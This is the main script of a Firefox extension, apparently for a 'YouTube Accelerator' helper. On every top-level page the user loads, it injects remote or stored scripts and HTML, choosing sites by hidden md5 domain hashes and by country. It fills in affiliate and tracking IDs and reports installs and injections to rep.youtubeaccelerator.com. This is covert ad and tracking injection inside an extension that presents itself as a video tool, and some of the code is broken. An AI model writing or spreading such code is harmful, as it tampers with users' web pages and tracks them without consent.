function YTAHelperMain() {
    var documentMain;
    var Config;
    var ConfigNew;
    var Database;
    var Injectors;
    var initialized = false;
    var pageLoaded = false;
    var StartTime = Math.round(new Date().getTime() / 1000);
    var Random = Math.random() + '';
    var AlreadyPingList = " ";
    var Country = 'Unknown';
    var PingParams = '';
    var appInfo = Components.classes["@mozilla.org/xre/app-info;1"].getService(Components.interfaces.nsIXULAppInfo);
    var browserVer = appInfo.version;
    var ExtVersion;
    var dbName = 'yta_database1_0_0.json';
    Components.utils.import("resource://gre/modules/AddonManager.jsm");
    AddonManager.getAddonByID("{4C59F3E5-BBD0-4344-8DD2-30866FA0B31E}",
                function (addon) { ExtVersion = addon.version; initialize() });

    window.addEventListener("load", function load(event) {
        window.removeEventListener("load", load, false); //remove listener, no longer needed
        myExtension.init();
    }, false);

    var myExtension = {
        init: function () {
            // The event can be DOMContentLoaded, pageshow, pagehide, load or unload.
            getConfig();
            getDataFromDB();
            if (gBrowser) gBrowser.addEventListener("DOMContentLoaded", this.onPageLoad, false);
        },
        onPageLoad: function (aEvent) {
            var doc = aEvent.originalTarget;
            var win = doc.defaultView;
            // if (doc.nodeName == "#document") return; // only documents
            // if (win.frameElement) return; // skip iframes/frames
            if (win != win.top) return; //only top window.
            try {
                documentMain = top.window.content.document;
                pageLoaded = true;
                InjectScripts();
            } catch (e) { }
        }
    }

    function Ping(Action, ActionParams) {
        var CurrentTime = Math.round(new Date().getTime() / 1000);
        var SecondsSinceStart = CurrentTime - StartTime;
        var pingRequest = 'http://rep.youtubeaccelerator.com/app/ping.ashx?';
        pingRequest += PingParams;
        pingRequest += '&product=EXTFirefox'
        pingRequest += '&rnd=' + StartTime;
        pingRequest += '&it=' + SecondsSinceStart;
        pingRequest += '&action=' + Action;
        pingRequest += '&text=' + ActionParams;
        var xhr = new XMLHttpRequest();
        xhr.onload = function () {
            return true;
        };
        xhr.onerror = function () {
            return false;
        };
        //    alert('Ping Action: ' + Action + '\nParam: ' + ActionParams);
        xhr.open('GET', pingRequest);
        xhr.send(null);

    };

    function getConfig() {
        var xhr = new XMLHttpRequest();
        xhr.onload = function () {
            Config = (JSON.parse(xhr.responseText));
            if (Config != undefined) {
                Country = Config.COUNTRY;
                PingParams = Config.PING_PARAMS;
                initialize();
            }
            else
                Ping('getConfig', 'Failed parsing json');

            initialized();
        };
        xhr.onerror = function () {
            Ping('getConfig', 'Failed');
            //getConfigNew();
        };
        xhr.open('GET', 'chrome://YTAHelper/content/config.json', false);
        xhr.send(null);
    }
    function getDataFromDB() {
        var xhr = new XMLHttpRequest();
        xhr.onload = function () {
            Database = (JSON.parse(xhr.responseText));
            Injectors = Database.Injections;
            initialize();
        };
        xhr.onerror = function () {
            Ping("getDataFromDB", "Failed");
        };
        xhr.open('GET', 'chrome://YTAHelper/content/' + dbName, true);
        xhr.send(null);
    }
    function initialize() {
        if (!initialized && Config != undefined && Database != undefined && ExtVersion != undefined) {
            var Info = "Ext version: " + ExtVersion + ". Firefox version: " + browserVer + ". DB name: " + dbName + ". DB version: " + Database.Ver;
            Ping("Init", Info);
            HandleScriptsToInject();
            initialized = true;
            InjectScripts();
        }
    }

    function InjectScripts() {
        if (Injectors.length <= 0)
            return;
        if (!pageLoaded || !initialized)
            return;
        for (var i = Injectors.length; i--;) {
            AddInjector(Injectors[i]);
        }
    }
    function PingInject(Action, InjectorName, Type, EveryPage) {
        if (Type == "INJECT" && EveryPage == false) {
            var n = AlreadyPingList.search(InjectorName);
            if (n != -1)
                return;
            AlreadyPingList += " " + InjectorName;
        }
        Ping(Action, InjectorName);
    }

    function HandleScriptsToInject() {
        for (var i = Injectors.length; i--;) {
            //var CurrentScript = JSON.stringify(scriptList[i]); 
            var CurrentInjector = Injectors[i];
            if (!IsMatchCountry(CurrentInjector))
                delete Injectors[i];
            if (CurrentInjector.HEAD != undefined && CurrentInjector.HEAD.script != undefined)
                ReplaceVars(CurrentInjector.HEAD.script);
            if (CurrentInjector.BODY != undefined && CurrentInjector.BODY.script != undefined)
                ReplaceVars(CurrentInjector.BODY.script);

            if (CurrentInjector.HEAD != undefined && CurrentInjector.HEAD.scripttext != undefined)
                ReplaceVars(CurrentInjector.HEAD.scripttext);
            if (CurrentInjector.BODY != undefined && CurrentInjector.BODY.scripttext != undefined)
                ReplaceVars(CurrentInjector.BODY.scripttext);
        }
    }

    function IsMatchCountry(CurrentInjector) {
        if (CurrentInjector == null || CurrentInjector.MATCHCOUNTRY == undefined || Country == undefined)
            return true;
        for (var i = CurrentInjector.MATCHCOUNTRY.length; i--;) {
            var CurrentCountry = CurrentInjector.MATCHCOUNTRY[i];
            if (CurrentCountry.toUpperCase() == Country.toUpperCase())
                return true;
        }
        return false;
    }

    function ReplaceVars(scriptList) {
        for (var i = scriptList.length; i--;) {
            var CurrentScript = scriptList[i];
            if (Config.SID != undefined)
                NewScript = CurrentScript.replace("%%SID%%", Config.SID, "gi");
            NewScript = NewScript.replace("%%RANDOM%%", Random, "gi");
            if (Config.SPARAMAFF != undefined)
                NewScript = NewScript.replace("%%AFF%%", Config.SPARAMAFF, "gi");
            if (Config.USERID != undefined)
                NewScript = NewScript.replace("%%USERID%%", Config.USERID, "gi");
            if (Config.PIXGUID != undefined)
                NewScript = NewScript.replace("%%PIXGUID%%", Config.PIXGUID, "gi");
            if (Config.SPARAM != undefined)
                NewScript = NewScript.replace("%%SPARAM%%", Config.SPARAM, "gi");
            if (Config.SPARAMDATE != undefined)
                NewScript = NewScript.replace("%%SPARAMDATE%%", Config.SPARAMDATE, "gi");
            if (Config.SPARAMGUID != undefined)
                NewScript = NewScript.replace("%%SPARAMGUID%%", Config.SPARAMGUID, "gi");
            if (Config.SPARAMPROD != undefined)
                NewScript = NewScript.replace("%%SPARAMPROD%%", Config.SPARAMPROD, "gi");
            if (Config.SPARAMSUB != undefined)
                NewScript = NewScript.replace("%%SPARAMSUB%%", Config.SPARAMSUB, "gi");
            if (Config.VERSION != undefined)
                NewScript = NewScript.replace("%%VERSION%%", Config.VERSION, "gi");
            if (Config.PIXGUID != undefined) {
                var noHyphens = Config.PIXGUID;
                noHyphens = noHyphens.replace(/-/g, '');
                NewScript = NewScript.replace(/%%PIXNOHYP%%/g, noHyphens);
            }
            else
                NewScript = NewScript.replace(/%%PIXNOHYP%%/g, '');

            NewScript = NewScript.replace("%%BROWSERNAME%%", "Firefox", "gi");
            NewScript = NewScript.replace("%%BROWSERVER%%", browserVer, "gi");



            scriptList[i] = NewScript;
        }
    }

    function Inject(scriptList, Type, section, pos) {
        try {
            for (var i = scriptList.length; i--;) {
                //var CurrentScript = JSON.stringify(scriptList[i]); 
                var CurrentScript = scriptList[i];
                CurrentScript = SetProtocol(CurrentScript);
                var a1;
                if (Type == "script")
                    a1 = CreateScriptSrcElement(CurrentScript);
                if (Type == "scripttext")
                    a1 = CreateScriptTextElement(CurrentScript);
                if (Type == "html")
                    a1 = CreateHtmlElement(CurrentScript);
                if (section == "HEAD")
                    (documentMain.head || documentMain.documentElement).appendChild(a1);
                if (section == "BODY")
                    documentMain.body.appendChild(a1);
                //a1.parentNode.removeChild(a1);			
            }
        } catch (e) { }
    }

    function CreateScriptTextElement(ScriptText) {

        var Element = documentMain.createElement('script');
        Element.setAttribute('type', 'text/javascript');
        Element.textContent = ScriptText;
        return Element;


    }

    function CreateScriptSrcElement(ScriptUrl) {
        var Element = documentMain.createElement('script');
        Element.setAttribute('type', 'text/javascript');
        Element.src = ScriptUrl;
        return Element;
    }

    function CreateHtmlElement(HtmlText) {
        var Element = documentMain.createElement('div');
        Element.innerHTML = HtmlText;
        return Elemen;
    }

    function AddInjector(CurrentInjector) {
        try {
            if (!IsMatch(CurrentInjector))
                return;
            if (CurrentInjector.HEAD != undefined) {
                if (CurrentInjector.HEAD.script != undefined)
                    Inject(CurrentInjector.HEAD.script, "script", "HEAD", 0);
                if (CurrentInjector.HEAD.scripttext != undefined)
                    Inject(CurrentInjector.HEAD.scripttext, "scripttext", "HEAD", 0);
                if (CurrentInjector.HEAD.html != undefined)
                    Inject(CurrentInjector.HEAD.html, "html", "HEAD", 0);
            }
            if (CurrentInjector.BODY != undefined) {
                if (CurrentInjector.BODY.script != undefined)
                    Inject(CurrentInjector.BODY.script, "script", "BODY", 0);
                if (CurrentInjector.BODY.scripttext != undefined)
                    Inject(CurrentInjector.BODY.scripttext, "scripttext", "BODY", 0);
                if (CurrentInjector.BODY.html != undefined)
                    Inject(CurrentInjector.BODY.html, "html", "BODY", 0);
            }
            PingInject("Inject", CurrentInjector.NAME, "INJECT", false);
        } catch (e) { }
    }
    function IsMatch(CurrentInjector) {
        if (!IsMatchDomain(CurrentInjector))
            return false;
        if (!IsMatchExp(CurrentInjector))
            return false;
        if (!IsMatcUrl(CurrentInjector))
            return false;
        return true;
    }

    function IsMatchDomain(CurrentInjector) {
        if (CurrentInjector.MATCH == undefined)
            return true;

        var CurrentDomain = documentMain.domain;
        var CurrentDomain_md5 = md5(CurrentDomain);
        var Domains = CurrentInjector.MATCH;
        for (var i = Domains.length; i--;) {
            if (CurrentDomain_md5 == Domains[i])
                return true;
        }
        return false;
    }

    function IsMatchExp(CurrentInjector) {
        var ExpList = CurrentInjector.MATCHEXP;
        if (ExpList == undefined)
            return true;
        for (var i = ExpList.length; i--;) {
            var CurrentXp = ExpList[i];
            var CurrentUrl = documentMain.URL;
            if (CurrentUrl.match(CurrentXp))
                return true;
        }
        return false;
    }

    function IsMatcUrl(CurrentInjector) {
        var MatchUrlList = CurrentInjector.MATCHURLS;
        if (MatchUrlList == undefined)
            return true;
        var CurrentUrl = location.protocol + "//" + documentMain.domain;
        //var CurrentUrl = document.URL;
        var CurrentUrl_md5 = md5(CurrentUrl);
        for (var i = MatchUrlList.length; i--;) {
            var MatchUrl = MatchUrlList[i];
            if (CurrentUrl_md5 == MatchUrl)
                return true;
        }
        return false;
    }

    function SetProtocol(Script) {
        Script = Script.replace("%%HTTP%%", location.protocol, "gi");
        return Script;
    }

}
YTAHelperMain();